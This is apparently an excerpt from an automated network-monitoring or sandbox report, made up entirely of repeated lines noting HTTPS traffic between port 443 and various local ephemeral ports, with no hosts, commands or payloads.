Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50513
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50515
Source: unknown	Network traffic detected: HTTP traffic on port 50577 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50519
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50631
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50526
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50528
Source: unknown	Network traffic detected: HTTP traffic on port 50555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50406
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50408
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50401
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50606
Source: unknown	Network traffic detected: HTTP traffic on port 50463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50608
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50457
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50452
Source: unknown	Network traffic detected: HTTP traffic on port 50523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50577
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 50557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50583
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50470
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50472
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50595
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 50351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50596
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50598
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50481
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 50393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50492
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50417
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50419
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50412
Source: unknown	Network traffic detected: HTTP traffic on port 50338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50428
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50423
Source: unknown	Network traffic detected: HTTP traffic on port 50631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50439
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50569
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50445
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 50617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50595 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50373
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50375
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50379
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50382
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50393
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50342 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50397
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
